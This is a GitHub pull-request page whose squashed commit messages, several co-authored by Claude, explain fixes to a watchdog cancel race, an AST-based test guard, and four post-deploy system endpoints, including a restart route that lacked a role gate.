queue-wait warning fires on both acquire branches.
Verified: full unit suite under CI conditions 12969 passed / 0 failed
(baseline origin/dev 12863 / 0); Repro A 10/10 success (2 parked 485s,
withheld at both watchdog cycles, re-anchored at dispatch); Repro B 8/8
success (5 parked, two waves); live pending_ids probe on the agent. The
agent-side half needs a rebuilt base image; the backend half alone covers old
images through the whole-call marker.
Fixes abilityai/trinity#2433
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(watchdog): close the cross-worker cancel race and bound the exited-but-registered set (#2435 review)
Review of the #2433 fix found that it reintroduced the #378 symptom in a
narrower window and turned a pre-existing registry leak into a permanent one.
1. Cross-worker cancel acted on a marker phase that predated its own write.
`entry.phase` flipped parked->calling in memory only; the marker was
rewritten by the 15s refresher, so `execution:inflight:{id}` advertised
`parked` for up to a full tick after the POST had begun. Under --workers 2
about half of all cancels are served by the worker that does NOT own the
coroutine and therefore read it: the row was finalized CANCELLED and its
slot released while the agent ran the turn to a billed completion whose
SUCCESS then lost the CAS. Closed by ordering, not by narrowing — the owner
publishes the transition in the SAME round-trip that reads the cancel key
(`_publish_calling_and_check_cancel_sync`), and the remote sets the cancel
key BEFORE re-reading the phase (`_set_cancel_then_reread_phase_sync`), so
an observed `parked` gives W_remote(cancel) < R_remote(marker) <
W_owner(marker) < R_owner(cancel) and the grant is guaranteed to see the
key. Neither side pays an extra round-trip. The owner gates the publish on
the ENTRY's age rather than this attempt's park, because
`track_inflight_dispatch` wraps the whole retry loop and a retry can grant
instantly under a marker a tick left saying `parked`; the remote's scope
check stays on its first read, so no key is written for a foreign agent.
2. `list_recently_completed_ids` reported exited-but-registered ids with no
age bound, so a leaked entry was agent-known forever and the watchdog never
recovered that row — a regression against pre-#2433, where `list_running()`
self-healed it. Now bounded by the same 300s TTL as the buffer, measured
from when the exit was first OBSERVED (not `started_at`, which would drop a
long turn the moment it entered its drain). The leak is also closed at
source: `register()` SIGKILLs the group for a cancel that arrived while
pending, so the following `stdin.write` can raise BrokenPipeError — all
three prompt-writing runtimes (claude_code, gemini x2) now pair that write
with `unregister()` on failure.
3. `restamp_execution_dispatch` is a sync sqlite write and ran on the event
loop, while both semaphores are held and the queue is by definition
congested. Now `asyncio.to_thread`, like the slot renewal beside it.
Smaller items from the same review:
- /api/chat sizes its pending entry to PENDING_CHAT_TIMEOUT_SECONDS (7200s):
`ChatRequest` carries no timeout and a chat can wait on the execution lock
for the agent's whole budget, so the /api/task default evicted the entry
mid-wait. Its discard now wraps the lock acquisition, so a request cancelled
while waiting (client disconnect) cannot leak one.
- Phase 3 batches its in-flight verdict read (one MGET per cycle, not per row),
matching Phase 0.
- `renew_slot` refuses, score untouched, when the metadata hash has already
expired: `ZADD XX` succeeds while `EXPIRE` no-ops, so it used to report a
renewal it had not performed and re-anchor exactly the ZSET-without-hash
state canary S-03 calls `missing`.
- `register_pending` logs at DEBUG (it fires on every /api/task and /api/chat).
- Documented that the in-flight marker is not eviction-proof under the prod
`allkeys-lru` policy.
Tests: tests/unit/test_2433_review_fixes.py (15) — 11 of them fail against
cfc2cfef, verified in a worktree. Full unit suite under CI conditions
(clean origin/dev worktree, no submodules): 12985 passed, 0 failed.
Refs abilityai/trinity#2433
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
* test(resume): the guard architecture.md promised did not exist (ent#430 review)
The reviewer's one condition before merge. `architecture.md`'s 'Two callers,
one rule' bullet said the CAS-win rule was 'guarded now by enumerating every
caller rather than the one route ent#329 knew about, so a third site inherits
the rule instead of re-losing it'. No such guard existed:
`test_dispatch_hangs_off_the_cas_win_only` read exactly one hardcoded file,
`routers/operator_queue.py` — so `client_portal/asks/service.py`, the caller
this PR adds and the one that LOST the rule, was outside its reach.
A sentence claiming protection that is not there is worse than no sentence: the
next person adding a dispatch site reads it and stops looking. This is the shape
#2428 filed a learnings entry about this morning — a comment that names a
failure mode is a request for a guard — so it lands the same way.
DISCOVERED, NOT LISTED. `_dispatch_call_sites` walks the backend tree for
callers, because a hardcoded list structurally cannot catch the case that
matters: the file it would need to check is the one being added.
ASSERTED AGAINST CODE, NOT FILE TEXT — and this is the part I got wrong first.
The initial version tested `"_status_conflict" in source` against the raw file
and MUTATION PROVED IT BLIND: deleting the check from the `if` still passed,
because the long comment above it explaining the race still contained the
string. A source-substring guard cannot tell a check from a paragraph about the
check — the same defect the guard exists to prevent, inside the guard. It now
parses each dispatching function and compares `ast.unparse` output, where
comments do not survive.
Verified by three mutations, each caught:
1. delete the check in asks/service.py, keep the comment -> FAIL
2. neuter the check in routers/operator_queue.py -> FAIL
3. add a brand-new third caller with no check at all -> FAIL
and all 23 pass on the real tree.
`test_the_discovery_walk_finds_both_known_callers` pins the floor, so a rename
of the helper cannot leave the loop iterating an empty list and passing in
silence — the failure a discovery guard trades for the one it fixes.
ALSO (non-blocking, from the same review): `WorkspaceAsk.status`'s comment still
read 'pending | expired (terminal ones are not listed)' after `_status_of`
gained a third value. Corrected to say where each value is reachable from.
The remaining non-blocking item — `resume_requested` and the new `answered`
status are unconsumed by any surface — is deliberately NOT in this commit. It is
a product decision about where a transient confirmation lives, and it is filed
so it stays a decision rather than becoming an oversight.
Related to abilityai/trinity-enterprise#430
Related to abilityai/trinity-enterprise#329
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(systems): the four post-deploy endpoints — a nonexistent DB call, an ungated restart, a broken export round-trip, and prefix-collision membership (#2373)
The deploy half has been hardened by every commit since ent#124; the four
post-deploy endpoints were essentially untouched since 2025.
## Membership is now ONE predicate
`get_system`, `restart_system` and `export_manifest` each matched
`startswith(f"{system_name}-")`, so an operation on `acme` also captured every
agent of a system named `acme-extra` — including `restart`, which stops and
starts containers. Three copies of a wrong rule.
`system_service.system_member_names` is the one rule, and it prefers TAGS:
`configure_tags` already applies the system name to every member, so a tag is a
RECORD of membership where a prefix is an inference from a naming convention.
The prefix survives only as a fallback for pre-tag deployments, narrowed so an
agent claimed by another system's own tag is excluded — a tagged `acme-extra`
agent is never captured by `acme` even there. A failing tag read degrades to the
prefix rather than 500ing.
Residual, stated rather than hidden: two systems deployed BEFORE tagging where
one name is a prefix of the other remain ambiguous, because nothing distinguishes
them. This is also the prerequisite for the teardown verb, where the same
collision would delete rather than restart.
## GET /{name} returns real schedules
It called `db.get_agent_schedules`, which does not exist — the facade exposes
`list_agent_schedules` and `database.py` deliberately has no `__getattr__`
fallback. The AttributeError was swallowed by the surrounding `except
Exception`, so every response omitted `schedules` for every agent and logged one
warning each, while `tests/test_systems.py` never asserted on the key. Exactly
the failure mode the db facade's own comment warns about — so the test also pins
that the fallback stays absent, since adding one would turn the next typo into a
silent Mock.
## POST /{name}/restart is creator-gated
It was bare `get_current_user` — below `POST /deploy` and below even the
READ-ONLY bundled-catalog routes — so any authenticated principal, including
`role: user`, could stop and start every container in a system whose agents it
could see. A mutating fleet-wide verb under a lighter gate than the catalog it
reads is an oversight, not a decision. `require_role` also rejects agent
principals (#1890), which matters because an agent-scoped MCP key resolves to
its owner carrying the owner's role.
## Export round-trips
The non-full-mesh permissions branch sliced `target_agent[len(name)+1:]` with no
membership filter — the sibling branch had one — so an edge pointing outside the
system exported as a blind-sliced garbage short name that then failed
`validate_manifest`'s unknown-agent check on re-deploy. The export broke its own
round trip. Both branches now test membership.
And the export no longer embeds the instance-global `trinity_prompt` as the
manifest's `prompt:`. Deploying that manifest elsewhere overwrote THAT
instance's platform-wide prompt — a fleet-wide side effect from what reads like
a copy of one system. Nothing records whether the source system ever set a
prompt, so there is no honest way to distinguish it from whatever the instance
happens to have configured, and the only correct export of an unknown is to
omit it.
## Two preview hardenings
Unknown PER-AGENT keys now warn like top-level ones (ent#126): `credentials:`,
`skills:` and `display_label:` are the fields people try first and they vanished
in silence.
Preview and deploy now resolve the identical resource default. Deploy hardcoded
`{"cpu": "2", "memory": "4g"}` while `_preflight_template` validated against the
admin-configurable `get_agent_default_resources()`, so the two disagreed the
moment an admin moved the fleet default — the one spot that escaped ent#126's
pure-resolver no-drift pattern.
## Verification
14 unit tests, one per defect plus the exempt shapes. Two mutation-checked: the
restart gate and the tag-first membership each turn a test red when reverted.
414 pass across the system/manifest/ent#126/#1884 suites.
`tests/test_systems.py` is live-backend tier and…
5 tasks
4 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
3 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
No description provided.